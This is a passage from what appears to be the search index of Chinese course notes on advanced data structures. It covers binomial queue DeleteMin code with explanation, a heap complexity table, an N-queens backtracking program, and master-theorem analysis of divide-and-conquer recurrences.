<li><code>001</code>\u4ec0\u4e48\u90fd\u4e0d\u7528\u505a\uff0c\u6b64\u65f6<code>H1</code>\u6709\u6811\uff0c<code>H2</code>\u6ca1\u6709\u4e1c\u897f\u9700\u8981\u5408\u5e76\u4e0a\u53bb\u7684</li> <li><code>010</code>\u6b64\u65f6\u5c06<code>H2</code>\u7684\u6811\u8f6c\u79fb\u5230<code>H1</code></li> <li><code>011</code>\u9700\u8981\u8fdb\u4f4d\uff0c<code>Carry</code>\u8981\u53d8\u6210\u4e24\u6811\u4e4b\u548c\uff0c\u4e24\u6811\u8981\u6e05\u7a7a</li> <li><code>100</code>\u5c06<code>Carry</code>\u8f6c\u79fb\u5230<code>H1</code></li> <li><code>101</code>\u9700\u8981\u8fdb\u4f4d,\u5f53\u4f4d\u7f6e0\uff0c\u5c06<code>Carry</code>\u53d8\u5f97\u66f4\u5927</li> <li><code>110</code>\u4e0e\u4e0a\u4e00\u60c5\u51b5\u7c7b\u4f3c</li> <li><code>111</code>\u8fd9\u91cc\u7684\u505a\u6cd5\u5e76\u4e0d\u552f\u4e00\uff0c\u6211\u4eec\u53ef\u4ee5\u4fdd\u7559\u4efb\u610f\u4e00\u68f5\u6811,\u5c06\u53e6\u5916\u4e24\u6811\u4e4b\u548c\u8fdb\u4f4d\u4e0a\u53bb\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u91c7\u7528\u7684\u662f\u4fdd\u7559<code>Carry</code>,\u8fdb\u4f4d<code>T1+T2</code></li> </ul>"},{"location":"NOTE/ADS/wk4/#deletemin","title":"Deletemin","text":"<pre><code>ElementType  DeleteMin( BinQueue H )\n{   BinQueue DeletedQueue; \n    Position DeletedTree, OldRoot;\n    ElementType MinItem = Infinity;  /* the minimum item to be returned */  \n    int i, j, MinTree; /* MinTree is the index of the tree with the minimum item */\n\n    if ( IsEmpty( H ) )  {  PrintErrorMessage();  return \u2013Infinity; }\n\n    for ( i = 0; i &lt; MaxTrees; i++) {  /* Step 1: find the minimum item */\n        if( H-&gt;TheTrees[i] &amp;&amp; H-&gt;TheTrees[i]-&gt;Element &lt; MinItem ) { \n        MinItem = H-&gt;TheTrees[i]-&gt;Element;  MinTree = i;    } /* end if */\n    } /* end for-i-loop */\n\n    DeletedTree = H-&gt;TheTrees[ MinTree ];  \n    H-&gt;TheTrees[ MinTree ] = NULL;   /* Step 2: remove the MinTree from H =&gt; H\u2019 */ \n    OldRoot = DeletedTree;   /* Step 3.1: remove the root */ \n    DeletedTree = DeletedTree-&gt;LeftChild;   free(OldRoot);\n    DeletedQueue = Initialize();   /* Step 3.2: create H\u201d */ \n\n    DeletedQueue-&gt;CurrentSize = ( 1&lt;&lt;MinTree ) \u2013 1;  /* 2^{MinTree} \u2013 1 */\n\n    for ( j = MinTree \u2013 1; j &gt;= 0; j \u2013 \u2013 ) {  \n        DeletedQueue-&gt;TheTrees[j] = DeletedTree;\n        DeletedTree = DeletedTree-&gt;NextSibling;\n        DeletedQueue-&gt;TheTrees[j]-&gt;NextSibling = NULL;\n    } //\u5c06\u6811\u62c6\u5f00\n\n    H-&gt;CurrentSize  \u2013 = DeletedQueue-&gt;CurrentSize + 1;//minus 2^{MinTree}\n    H = Merge( H, DeletedQueue ); /* Step 4: merge H\u2019 and H\u201d */ \n    return MinItem;\n}\n</code></pre> Explanation <p>\u6bd4\u8f83\u7b80\u5355\uff0c\u5c31\u7167\u6284\u4e86GPT\u4e86</p> <p>\u51fd\u6570\u539f\u578b\u548c\u8f93\u5165\u53c2\u6570</p> <pre><code>ElementType DeleteMin(BinQueue H)\n</code></pre> <ul> <li><code>ElementType</code>: \u8fd4\u56de\u5220\u9664\u7684\u6700\u5c0f\u5143\u7d20\u7684\u7c7b\u578b\u3002</li> <li><code>BinQueue H</code>: \u8981\u4ece\u4e2d\u5220\u9664\u6700\u5c0f\u5143\u7d20\u7684\u4e8c\u9879\u961f\u5217\u3002</li> </ul> <p>\u53d8\u91cf\u521d\u59cb\u5316</p> <pre><code>BinQueue DeletedQueue; \nPosition DeletedTree, OldRoot;\nElementType MinItem = Infinity; \nint i, j, MinTree;\n</code></pre> <ul> <li><code>DeletedQueue</code>: \u7528\u4e8e\u5b58\u50a8\u5c06\u8981\u5220\u9664\u7684\u6811\u3002</li> <li><code>DeletedTree</code>: \u6307\u5411\u5f53\u524d\u5904\u7406\u7684\u6811\u3002</li> <li><code>OldRoot</code>: \u4fdd\u5b58\u88ab\u5220\u9664\u7684\u6839\u8282\u70b9\u3002</li> <li><code>MinItem</code>: \u521d\u59cb\u8bbe\u4e3a\u6b63\u65e0\u7a77\uff0c\u7528\u4e8e\u8ddf\u8e2a\u6700\u5c0f\u5143\u7d20\u3002</li> <li><code>MinTree</code>: \u5b58\u50a8\u6700\u5c0f\u5143\u7d20\u6240\u5728\u6811\u7684\u7d22\u5f15\u3002</li> </ul> <p>\u68c0\u67e5\u961f\u5217\u662f\u5426\u4e3a\u7a7a</p> <pre><code>if (IsEmpty(H)) { PrintErrorMessage(); return -Infinity; }\n</code></pre> <ul> <li>\u68c0\u67e5\u4e8c\u9879\u961f\u5217\u662f\u5426\u4e3a\u7a7a\u3002\u5982\u679c\u4e3a\u7a7a\uff0c\u5219\u6253\u5370\u9519\u8bef\u4fe1\u606f\u5e76\u8fd4\u56de\u8d1f\u65e0\u7a77\u3002</li> </ul> <p>\u627e\u5230\u6700\u5c0f\u5143\u7d20 <pre><code>for (i = 0; i &lt; MaxTrees; i++) {\n    if (H-&gt;TheTrees[i] &amp;&amp; H-&gt;TheTrees[i]-&gt;Element &lt; MinItem) { \n        MinItem = H-&gt;TheTrees[i]-&gt;Element;  \n        MinTree = i;    \n    }\n}\n</code></pre></p> <ul> <li>\u904d\u5386\u6240\u6709\u6811\uff0c\u627e\u5230\u5177\u6709\u6700\u5c0f\u5143\u7d20\u7684\u6811\uff08\u5373\u6700\u5c0f\u6839\u8282\u70b9\uff09\u3002</li> <li>\u5982\u679c\u627e\u5230\u66f4\u5c0f\u7684\u5143\u7d20\uff0c\u5219\u66f4\u65b0<code>MinItem</code>\u548c<code>MinTree</code>\u3002</li> </ul> <p>\u5220\u9664\u6700\u5c0f\u5143\u7d20\u7684\u6811 <pre><code>DeletedTree = H-&gt;TheTrees[MinTree];  \nH-&gt;TheTrees[MinTree] = NULL;   \nOldRoot = DeletedTree;   \nDeletedTree = DeletedTree-&gt;LeftChild;   \nfree(OldRoot);\n</code></pre></p> <ul> <li>\u5c06\u6700\u5c0f\u6811\u5b58\u50a8\u5728<code>DeletedTree</code>\u4e2d\uff0c\u5e76\u5728\u539f\u961f\u5217\u4e2d\u5c06\u5176\u7f6e\u4e3aNULL\u3002</li> <li>\u4fdd\u5b58\u6839\u8282\u70b9\u5230<code>OldRoot</code>\uff0c\u7136\u540e\u5c06<code>DeletedTree</code>\u6307\u5411\u5176\u5de6\u5b50\u6811\u3002</li> <li>\u91ca\u653e<code>OldRoot</code>\u6240\u5360\u7684\u5185\u5b58\u3002</li> </ul> <p>\u521d\u59cb\u5316\u65b0\u7684\u961f\u5217 <pre><code>DeletedQueue = Initialize();   \nDeletedQueue-&gt;CurrentSize = (1 &lt;&lt; MinTree) - 1;  \n</code></pre></p> <ul> <li>\u521d\u59cb\u5316\u4e00\u4e2a\u65b0\u7684\u4e8c\u9879\u961f\u5217<code>DeletedQueue</code>\uff0c\u7528\u4e8e\u5b58\u653e\u4ece\u6700\u5c0f\u6811\u4e2d\u62c6\u5206\u51fa\u7684\u6811\u3002</li> <li>\u8bbe\u7f6e<code>DeletedQueue</code>\u7684\u5f53\u524d\u5927\u5c0f\u4e3a <code>2^MinTree - 1</code>\uff0c\u56e0\u4e3a\u6700\u5c0f\u6811\u7684\u8282\u70b9\u6570\u662f <code>2^MinTree - 1</code>\u3002</li> </ul> <p>\u62c6\u5206\u6811\u5e76\u653e\u5165\u65b0\u961f\u5217 <pre><code>for (j = MinTree - 1; j &gt;= 0; j--) {  \n    DeletedQueue-&gt;TheTrees[j] = DeletedTree;\n    DeletedTree = DeletedTree-&gt;NextSibling;\n    DeletedQueue-&gt;TheTrees[j]-&gt;NextSibling = NULL;\n}\n</code></pre></p> <ul> <li>\u4ece<code>MinTree-1</code>\u5230<code>0</code>\uff0c\u5c06\u62c6\u5206\u51fa\u7684\u6811\u4f9d\u6b21\u653e\u5165<code>DeletedQueue</code>\u4e2d\u3002</li> <li>\u5c06\u6bcf\u68f5\u6811\u7684<code>NextSibling</code>\u8bbe\u4e3aNULL\uff0c\u4ee5\u6b63\u786e\u65ad\u5f00\u94fe\u8868\u3002</li> </ul> <p>\u66f4\u65b0\u539f\u961f\u5217\u7684\u5927\u5c0f\u5e76\u5408\u5e76 <pre><code>H-&gt;CurrentSize -= DeletedQueue-&gt;CurrentSize + 1; \nH = Merge(H, DeletedQueue);\n</code></pre></p> <ul> <li>\u4ece\u539f\u961f\u5217<code>H</code>\u7684\u5f53\u524d\u5927\u5c0f\u4e2d\u51cf\u53bb<code>DeletedQueue</code>\u7684\u5927\u5c0f\u4ee5\u53ca1\uff08\u56e0\u4e3a\u5220\u9664\u4e86\u4e00\u4e2a\u6839\uff09\u3002</li> <li>\u8c03\u7528<code>Merge</code>\u51fd\u6570\u5c06<code>H</code>\u548c<code>DeletedQueue</code>\u5408\u5e76\uff0c\u66f4\u65b0\u539f\u961f\u5217\u3002</li> </ul> <p>\u8fd4\u56de\u6700\u5c0f\u5143\u7d20</p> <pre><code>return MinItem;\n</code></pre> <ul> <li>\u8fd4\u56de\u627e\u5230\u7684\u6700\u5c0f\u5143\u7d20\u3002</li> </ul>"},{"location":"NOTE/ADS/wk4/#_5","title":"\u5806\u6027\u80fd\u7684\u603b\u7ed3(\u5355\u6b65\u644a\u8fd8\u4ee3\u4ef7)","text":"Operation Binary Heap Leftist Heap Skew Heap Binomial Heap Fibonacci Heap Insert \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(1)\\) \\(O(1)\\) Merge \\(O(n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(1)\\) DeleteMin \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) Delete \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) DecreaseKey \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(1)\\)"},{"location":"NOTE/ADS/wk5/","title":"Backtracking(\u56de\u6eaf\u7b97\u6cd5)","text":"<p> \u7ea6 226 \u4e2a\u5b57  90 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p> <p>\u56de\u6eaf\u7b97\u6cd5</p> <p>\u56de\u6eaf\u7b97\u6cd5\u662f\u4e00\u79cd\u7b97\u6cd5\u6280\u672f\uff0c\u901a\u8fc7\u9010\u6b65\u5c1d\u8bd5\u90e8\u5206\u89e3\u51b3\u65b9\u6848\u6765\u89e3\u51b3\u95ee\u9898\uff0c\u5982\u679c\u67d0\u4e2a\u90e8\u5206\u89e3\u51b3\u65b9\u6848\u4e0d\u6ee1\u8db3\u95ee\u9898\u7684\u7ea6\u675f\u6761\u4ef6\uff0c\u5c31\u4f1a\u653e\u5f03\u5b83\u3002\u5b83\u4f1a\u63a2\u7d22\u6240\u6709\u53ef\u80fd\u7684\u89e3\u51b3\u65b9\u6848\uff0c\u5e76\u6392\u9664\u90a3\u4e9b\u4e0d\u7b26\u5408\u6761\u4ef6\u7684\u9009\u9879\u3002</p>"},{"location":"NOTE/ADS/wk5/#_1","title":"\u516b\u7687\u540e\u95ee\u9898","text":"<p>\u516b\u7687\u540e\u95ee\u9898</p> <p>\u516b\u7687\u540e\u95ee\u9898\u662f\u4e00\u4e2a\u7ecf\u5178\u7684\u7ec4\u5408\u4f18\u5316\u95ee\u9898\uff0c\u76ee\u6807\u662f\u5728\u4e00\u4e2a 8\u00d78 \u7684\u56fd\u9645\u8c61\u68cb\u68cb\u76d8\u4e0a\u653e\u7f6e 8 \u4e2a\u7687\u540e\uff0c\u4f7f\u5f97\u5b83\u4eec\u5f7c\u6b64\u4e4b\u95f4\u65e0\u6cd5\u653b\u51fb\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u4efb\u4f55\u4e24\u4e2a\u7687\u540e\u4e0d\u80fd\u5728\u540c\u4e00\u884c\u3001\u540c\u4e00\u5217\u6216\u540c\u4e00\u5bf9\u89d2\u7ebf\u4e0a\u3002</p> <p>k\u7687\u540e\u95ee\u9898\u662f\u516b\u7687\u540e\u95ee\u9898\u7684\u4e00\u822c\u5316\uff0c\u5373\u5728\u4e00\u4e2a n\u00d7n \u7684\u68cb\u76d8\u4e0a\u653e\u7f6e k \u4e2a\u7687\u540e\uff0c\u4f7f\u5f97\u5b83\u4eec\u5f7c\u6b64\u4e4b\u95f4\u65e0\u6cd5\u653b\u51fb\u3002</p> \u4e2a\u4ebacpp\u4ee3\u7801 <pre><code>#include&lt;iostream&gt;\n#include&lt;vector&gt;\nclass Game\n{\n    public:\n    int Number;\n    std::vector&lt;std::vector&lt;int&gt;&gt; solutions;\n    std::vector&lt;int&gt; Queen_setRow;\n    void init(int N);\n    void find_solution(int row);\n    bool is_safe(int row, int col);\n};\n\n\nvoid Game::init(int N)\n{\n    Number = N;\n    for(int i=0; i&lt;N; i++)\n    {\n        Queen_setRow.push_back(-1);\n    }\n}\nbool Game::is_safe(int row, int col)\n{\n    for(int i=0; i&lt;row; i++)\n    {\n        if(Queen_setRow[i] == col || abs(Queen_setRow[i] - col) == abs(i - row))\n        {\n            return false;\n        }\n    }\n    return true;\n}\n\n\nvoid Game::find_solution(int row)\n{\n    if(row == Number)\n    {\n        solutions.push_back(Queen_setRow);\n    }\n\n    else {\n        for(int col=0; col&lt;Number; col++)\n        {\n            if(is_safe(row, col))\n            {\n                Queen_setRow[row] = col;\n                find_solution(row+1);\n                Queen_setRow[row] = -1;\n            }\n        }\n    }\n}\n\nint main()\n{\n    int N;\n    scanf(\"%d\", &amp;N);\n    Game chess;\n    chess.init(N);\n    chess.find_solution(0);\n\n    if(chess.solutions.size() &lt; 3)\n    {\n        for(int i=0;i&lt;chess.solutions.size();i++)\n        {\n            for(int j=0; j&lt;chess.solutions[i].size(); j++)\n            {\n            printf(\"%d \", chess.solutions[i][j]+1);\n            }\n            printf(\"\\n\");\n        }\n        for(int k=0;k&lt;3-chess.solutions.size();k++)\n        {\n            printf(\"\\n\");\n        }\n    }\n    else{\n        for(int i=0; i&lt;3; i++)\n    {\n        for(int j=0; j&lt;chess.solutions[i].size(); j++)\n        {\n        printf(\"%d \", chess.solutions[i][j]+1);\n        }\n        printf(\"\\n\");\n    }\n    }\n    printf(\"%ld\", chess.solutions.size());\n}\n</code></pre>"},{"location":"NOTE/ADS/wk6/","title":"\u5206\u6cbb\u6cd5","text":"<p> \u7ea6 2143 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p> <p>\u6211\u4eec\u4e3b\u8981\u5173\u5fc3\u5206\u6cbb\u6cd5\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u7684\u5206\u6790\u4ee5\u53ca\u5b83\u7684\u5e94\u7528</p>"},{"location":"NOTE/ADS/wk6/#_2","title":"\u4e3b\u5b9a\u7406","text":"<p>\u901a\u5e38\u800c\u8a00\uff0c\u5206\u6cbb\u6cd5\u9012\u5f52\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u6709\u4ee5\u4e0b\u5f62\u5f0f</p> \\[     T(n) = aT(\\frac{n}{b}) + f(n) \\] <p>\u5176\u4e2d\\(a\\)\u662f\u5b50\u95ee\u9898\u7684\u4e2a\u6570\uff0c\\(b\\)\u662f\u5b50\u95ee\u9898\u7684\u89c4\u6a21\uff0c\\(f(n)\\)\u662f\u5408\u5e76\u7684\u65f6\u95f4\uff1b</p>"},{"location":"NOTE/ADS/wk6/#_3","title":"\u4ee3\u5165\u6cd5","text":"<p>\u4ee3\u5165\u6cd5\u5373\u731c\u60f3\u8bc1\u660e\uff1a</p> <ul> <li>\u731c\u6d4b\u89e3\u7684\u5f62\u5f0f</li> <li>\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u6c42\u51fa\u89e3\u4e2d\u7684\u5e38\u6570\uff0c\u5e76\u8bc1\u660e\u662f\u6b63\u786e\u7684</li> </ul> <p>Example</p> <p>\\( T(N) = 2 \\, T\\left(\\left\\lfloor \\frac{N}{2} \\right\\rfloor\\right) + N \\)</p> <p>Guess: \\( T(N) = O(N \\log N) \\)</p> <p>Proof: Assume it is true for all \\( m &lt; N \\), in particular for \\( m = \\left\\lfloor \\frac{N}{2} \\right\\rfloor \\).</p> <p>Then there exists a constant \\( c &gt; 0 \\) so that \\( T\\left(\\left\\lfloor \\frac{N}{2} \\right\\rfloor\\right) \\leqslant c \\left\\lfloor \\frac{N}{2} \\right\\rfloor \\log \\left\\lfloor \\frac{N}{2} \\right\\rfloor \\)</p> <p>Substituting into the recurrence:  </p> \\[\\begin{align*}   T(N) &amp;= 2 \\, T\\left(\\left\\lfloor \\frac{N}{2} \\right\\rfloor\\right) + N \\\\   &amp;\\leqslant 2 \\, c \\left\\lfloor \\frac{N}{2} \\right\\rfloor \\log \\left\\lfloor \\frac{N}{2} \\right\\rfloor + N \\\\   &amp;\\leqslant c \\, N (\\log N - \\log 2) + N \\\\   &amp;\\leqslant c \\, N \\log N \\quad \\text{for } c \\geqslant 1 \\end{align*}\\] <p>\u6ce8\u610f\\(c\\)\u4e00\u5b9a\u8981\u662f\u5e38\u6570\uff0c\u4e0d\u80fd\u4e0e\\(N\\)\u6709\u5173</p> <p>\u53ef\u4ee5\u901a\u8fc7\u8bb0\u4f4f\u4e00\u4e9b\u5e38\u89c1\u7684\u7ed3\u8bba\uff0c\u4f8b\u5982\u5f52\u5e76\u6392\u5e8f\u6765\u7b80\u5316\u8ba1\u7b97</p> <p>Eg</p> \\[     T(n)=2T(\\sqrt{n})+\\log n \\] <p>\u4ee4\\(m=\\log n\\),\u5219\\(n=2^m\\),\u5219</p> \\[     T(2^m)=2T(2^{m/2})+m \\] <p>\u4ee4\\(S(m)=T(2^m)\\),\u5219</p> \\[     S(m)=2S(m/2)+m \\] <p>\u4ee3\u5165\u6cd5\u5f97\u5230\\(S(m)=O(m \\log m)\\),\u6240\u4ee5\\(T(n)=O(\\log n \\log \\log n)\\)</p> \u7b97\u6cd5\u5bfc\u8bba-\u5fae\u5999\u7684\u7ec6\u8282 <p></p>"},{"location":"NOTE/ADS/wk6/#_4","title":"\u9012\u5f52\u6811\u6cd5","text":"<p>\u9012\u5f52\u6811\u6cd5\u662f\u4e00\u79cd\u5206\u6790\u9012\u5f52\u7b97\u6cd5\u590d\u6742\u5ea6\u7684\u5e38\u7528\u65b9\u6cd5\uff0c\u7279\u522b\u9002\u7528\u4e8e\u5206\u6cbb\u7b97\u6cd5\u7684\u590d\u6742\u5ea6\u5206\u6790\uff1b\u901a\u8fc7\u628a\u9012\u5f52\u8fc7\u7a0b\u8868\u793a\u4e3a\u4e00\u68f5\u6811\uff0c\u5206\u6790\u6811\u7684\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\uff0c\u4ece\u800c\u5f97\u51fa\u6574\u4e2a\u7b97\u6cd5\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u3002\u4ee5\u4e0b\u662f\u9012\u5f52\u6811\u6cd5\u7684\u4e3b\u8981\u6b65\u9aa4\uff1a</p> <ul> <li> <p>\u6784\u5efa\u9012\u5f52\u6811\uff1a\u5c06\u9012\u5f52\u516c\u5f0f\u8868\u793a\u4e3a\u4e00\u68f5\u6811\uff0c\u5176\u4e2d\u6bcf\u4e2a\u8282\u70b9\u4ee3\u8868\u9012\u5f52\u4e2d\u7684\u4e00\u6b21\u8ba1\u7b97\u3002\u6839\u8282\u70b9\u8868\u793a\u6700\u521d\u8c03\u7528\u7684\u9012\u5f52\u95ee\u9898\uff0c\u5b50\u8282\u70b9\u8868\u793a\u9012\u5f52\u8c03\u7528\u7684\u5b50\u95ee\u9898\uff0c\u6811\u7684\u6df1\u5ea6\u53cd\u6620\u9012\u5f52\u7684\u5c42\u6570\u3002</p> </li> <li> <p>\u8ba1\u7b97\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\uff1a\u5bf9\u4e8e\u9012\u5f52\u6811\u7684\u6bcf\u4e00\u5c42\uff0c\u8ba1\u7b97\u8be5\u5c42\u6240\u6709\u8282\u70b9\u7684\u4ee3\u4ef7\u4e4b\u548c\u3002\u901a\u5e38\uff0c\u5206\u6cbb\u7b97\u6cd5\u7684\u6bcf\u4e00\u5c42\u7684\u8ba1\u7b97\u91cf\u662f\u76f8\u540c\u7684\uff0c\u6216\u8005\u9075\u5faa\u67d0\u79cd\u89c4\u5f8b\u3002</p> </li> <li> <p>\u6c47\u603b\u6bcf\u5c42\u7684\u4ee3\u4ef7\uff1a\u5c06\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\u76f8\u52a0\uff0c\u5f97\u5230\u6574\u4e2a\u9012\u5f52\u6811\u7684\u603b\u4ee3\u4ef7\u3002</p> </li> <li> <p>\u8ba1\u7b97\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\uff1a\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\u4ee3\u8868\u9012\u5f52\u8c03\u7528\u7684\u6df1\u5ea6\uff0c\u901a\u5e38\u4e0e\u95ee\u9898\u89c4\u6a21 \\(N\\) \u6709\u5173\u3002\u6811\u7684\u9ad8\u5ea6\u53ef\u4ee5\u901a\u8fc7\u9012\u5f52\u516c\u5f0f\u4e2d\u7684\u5206\u5272\u56e0\u5b50\u6765\u786e\u5b9a\u3002</p> </li> <li> <p>\u603b\u7ed3\u603b\u7684\u590d\u6742\u5ea6\uff1a\u6839\u636e\u6bcf\u5c42\u4ee3\u4ef7\u7684\u603b\u548c\u4ee5\u53ca\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\uff0c\u53ef\u4ee5\u5f97\u51fa\u9012\u5f52\u7684\u603b\u65f6\u95f4\u590d\u6742\u5ea6\u3002</p> </li> </ul> <p>Example</p> <p>\u8003\u8651\u7ecf\u5178\u7684\u5206\u6cbb\u7b97\u6cd5\uff0c\u4f8b\u5982\u5408\u5e76\u6392\u5e8f\uff0c\u5176\u9012\u5f52\u516c\u5f0f\u4e3a\uff1a</p> \\[ T(N) = 2T\\left(\\frac{N}{2}\\right) + O(N) \\] <p>\u5e94\u7528\u9012\u5f52\u6811\u6cd5\u7684\u6b65\u9aa4\u5982\u4e0b\uff1a</p> <ol> <li> <p>\u6784\u5efa\u9012\u5f52\u6811\uff1a</p> </li> <li> <p>\u6839\u8282\u70b9\u4e3a\u89c4\u6a21 \\(N\\) \u7684\u95ee\u9898\uff0c\u5206\u89e3\u6210\u4e24\u4e2a\u89c4\u6a21\u4e3a \\(N/2\\) \u7684\u5b50\u95ee\u9898\u3002</p> </li> <li> <p>\u6bcf\u4e2a\u5b50\u95ee\u9898\u8fdb\u4e00\u6b65\u5206\u89e3\uff0c\u76f4\u5230\u5206\u89e3\u5230\u89c4\u6a21\u4e3a 1 \u7684\u95ee\u9898\u3002</p> </li> <li> <p>\u8ba1\u7b97\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\uff1a</p> </li> <li> <p>\u7b2c\u4e00\u5c42\u7684\u4ee3\u4ef7\u662f \\(O(N)\\)\u3002</p> </li> <li>\u7b2c\u4e8c\u5c42\u7684\u4e24\u4e2a\u5b50\u95ee\u9898\u5404\u81ea\u4ee3\u4ef7\u4e3a \\(O(N/2)\\)\uff0c\u603b\u8ba1 \\(O(N)\\)\u3002</li> <li>\u7b2c\u4e09\u5c42\u6709\u56db\u4e2a\u5b50\u95ee\u9898\uff0c\u6bcf\u4e2a\u4ee3\u4ef7 \\(O(N/4)\\)\uff0c\u603b\u8ba1 \\(O(N)\\)\u3002</li> </ol> <p>\u53ef\u4ee5\u770b\u51fa\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\u90fd\u662f \\(O(N)\\)\u3002</p> <ol> <li> <p>\u6c47\u603b\u6bcf\u5c42\u7684\u4ee3\u4ef7\uff1a</p> </li> <li> <p>\u7531\u4e8e\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\u90fd\u662f \\(O(N)\\)\uff0c\u5982\u679c\u9012\u5f52\u6811\u6709 \\( \\log N \\) \u5c42\uff0c\u90a3\u4e48\u603b\u4ee3\u4ef7\u4e3a \\(O(N \\log N)\\)\u3002</p> </li> <li> <p>\u8ba1\u7b97\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\uff1a</p> </li> <li> <p>\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\u4e3a \\( \\log N\\)\uff0c\u56e0\u4e3a\u6bcf\u6b21\u5c06\u95ee\u9898\u89c4\u6a21\u51cf\u534a\uff0c\u76f4\u5230\u89c4\u6a21\u4e3a 1\u3002</p> </li> <li> <p>\u603b\u7ed3\u603b\u7684\u590d\u6742\u5ea6\uff1a</p> </li> <li> <p>\u6839\u636e\u6bcf\u5c42\u4ee3\u4ef7\u7684\u603b\u548c\u4ee5\u53ca\u6811\u7684\u9ad8\u5ea6\uff0c\u5f97\u5230\u603b\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a \\(O(N \\log N)\\)\u3002</p> </li> </ol>"},{"location":"NOTE/ADS/wk6/#_5","title":"\u4e3b\u5b9a\u7406","text":"<p>\u5bf9\u4e8e</p> \\[     T(n) = a T\\left(\\frac{n}{b}\\right) + f(n),a \\geqslant 1,b \\geqslant 1 \\] <p>\u5219</p> <p>Section</p> \u5f62\u5f0f1\u5f62\u5f0f2\u5f62\u5f0f3\u5f62\u5f0f3-pro <ul> <li>\u5982\u679c\\(f(n)=O(n^{\\log_b a-\\epsilon})\\),\u5219\\(T(n)=\\Theta(n^{\\log_b a})\\)</li> <li>\u5982\u679c\\(f(n)=\\Theta(n^{\\log_b a})\\),\u5219\\(T(n)=\\Theta(n^{\\log_b a} \\log n)\\)</li> <li>\u5982\u679c\\(f(n)=\\Omega(n^{\\log_b a+\\epsilon})\\),\u4e14\u5bf9\u4e8e\u67d0\u4e2a\u5e38\u6570\\(c&lt;1\\)\u548c\u6240\u6709\u8db3\u591f\u5927\u7684\\(n\\)\u6709</li> </ul> \\[      a f\\left(\\frac{n}{b}\\right) \\leqslant c f(n) \\] <p>\u5219\\(T(n)=\\Theta(f(n))\\)</p> <p>Warning</p> <p>\u8fd9\u4e09\u79cd\u60c5\u51b5\u5e76\u672a\u8986\u76d6 \\(f(n)\\) \u7684\u6240\u6709\u53ef\u80fd\u6027\u3002\u60c5\u51b5 1 \u548c\u60c5\u51b5 2 \u4e4b\u95f4\u6709\u4e00\u5b9a\u95f4\u9699\uff0c\u60c5\u51b5 2 \u548c\u60c5\u51b5 3 \u4e4b\u95f4\u4e5f\u6709\u4e00\u5b9a\u95f4\u9699\u3002\u5982\u679c\u51fd\u6570 \\(f(n)\\) \u843d\u5728\u8fd9\u4e24\u4e2a\u95f4\u9699\u4e2d\uff0c\u6216\u8005\u60c5\u51b5 3 \u4e2d\u8981\u6c42\u7684\u6b63\u5219\u6761\u4ef6\u4e0d\u6210\u7acb.\u5c31\u4e0d\u80fd\u4f7f\u7528\u4e3b\u65b9\u6cd5\u6765\u6c42\u89e3\u9012\u5f52\u5f0f</p> <p>Key-point</p> <p>\u5b9e\u9645\u4e0a\u4e3b\u5b9a\u7406\u5e76\u4e0d\u9700\u8981\u6b7b\u8bb0\u786c\u80cc\uff0c\u65e0\u8bba\u4ec0\u4e48\u5f62\u5f0f\u7684\u4e3b\u5b9a\u7406\uff0c\u5176\u5b9e\u5173\u952e\u90fd\u5728\u4e8e\u6bd4\u8f83 \\(n^{\\log_b a}\\) \u548c \\(f(n)\\) \u4e4b\u95f4\u7684\u5173\u8054\uff0c\u5982\u679c\u524d\u8005\u5927\uff0c\u5219\u524d\u8005 \u201c\u638c\u63a7\u4e86\u201d \u6574\u4e2a\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u6240\u4ee5\u65f6\u95f4\u590d\u6742\u5ea6\u5c31\u662f \\(T(n) = aT(n/b)\\) \u5bf9\u5e94\u7684\u590d\u6742\u5ea6\uff0c\u8fd9\u4e5f\u5f88\u7b26\u5408\u76f4\u89c2\uff0c\u56e0\u4e3a\u6b64\u65f6 \\(a\\) \u6bd4\u8f83\u5927\uff0c\u5206\u53c9\u6bd4\u8f83\u591a\uff0c\u6811\u6bd4\u8f83\u5927\uff08\u7ed3\u5408\u524d\u9762\u9012\u5f52\u6811\u7684\u4f8b\u5b50\uff09\uff0c\u6240\u4ee5\u66f4\u5927\u7684\u590d\u6742\u5ea6\u4f1a\u843d\u5728\u53f6\u5b50\u4e0a\uff1b\u53cd\u4e4b\u540e\u8005\u5927\u5219\u6bcf\u4e00\u5c42\u7684\u590d\u6742\u5ea6 \u201c\u638c\u63a7\u4e86\u201d \u6574\u4e2a\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u6545\u6574\u4f53\u65f6\u95f4\u5c31\u662f \\(f(n)\\) \u7ea7\u522b\u7684\u3002\u8fd9\u4e5f\u5c31\u662f \u201c\u4e3b\u5b9a\u7406\u201d \u8fd9\u4e00\u540d\u5b57\u7684\u542b\u4e49\uff0c\u5341\u5206\u5f62\u8c61\uff0c\u5c31\u662f\u770b\u524d\u540e\u4e24\u534a\u8c01 master \u4e86\u6574\u4f53\u65f6\u95f4\u590d\u6742\u5ea6</p> <ul> 